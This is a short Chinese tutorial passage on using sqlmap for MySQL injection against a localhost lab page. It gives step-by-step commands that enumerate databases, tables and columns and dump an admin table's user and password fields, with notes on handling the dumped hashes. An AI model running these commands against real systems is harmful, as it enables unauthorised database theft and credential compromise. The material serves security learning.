4.2 SqlMap之Mysql注入實戰
(1) 查找數據庫
sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs

數據庫有8個。
(2) 通過第一步的數據庫查找表(假如數據庫名為test)
sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test --tables

猜解出來里面存在admin,sqltest兩個表。
(3) 通過2中的表得出列名(假如表為admin)
sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin --columns

爆出字段有有“user、id、pwd”
(4) 獲取字段的值(假如掃描出id,user,pwd字段)
sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin -C "id,user,pwd" --dump

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
你想存儲的哈希值來與其他工具最終進一步處理臨時文件? 輸入”Y”
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通過基于字典的攻擊來破解他們嗎? 輸入”N”
馬上就得到了用戶名

SqlMap中文版使用教程
推薦文章: